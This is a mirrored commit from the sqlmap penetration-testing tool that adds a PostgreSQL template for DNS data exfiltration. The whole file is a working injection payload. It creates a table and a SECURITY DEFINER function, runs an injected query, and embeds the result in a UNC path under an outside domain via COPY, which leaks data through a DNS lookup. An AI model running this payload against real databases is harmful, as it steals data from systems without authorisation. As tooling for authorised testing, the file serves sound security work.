mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
adding support for PgSQL DNS data exfiltration
This commit is contained in:
13
procs/postgresql/dns_request.txt
Normal file
13
procs/postgresql/dns_request.txt
Normal file
@@ -0,0 +1,13 @@
|
||||
DROP TABLE IF EXISTS %RANDSTR1%;
|
||||
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
|
||||
CREATE OR REPLACE FUNCTION %RANDSTR3%()
|
||||
RETURNS VOID AS $$
|
||||
DECLARE %RANDSTR4% TEXT;
|
||||
DECLARE %RANDSTR5% TEXT;
|
||||
BEGIN
|
||||
SELECT INTO %RANDSTR5% (%QUERY%);
|
||||
%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';
|
||||
EXECUTE %RANDSTR4%;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql SECURITY DEFINER;
|
||||
SELECT %RANDSTR3%();
|
||||
Reference in New Issue
Block a user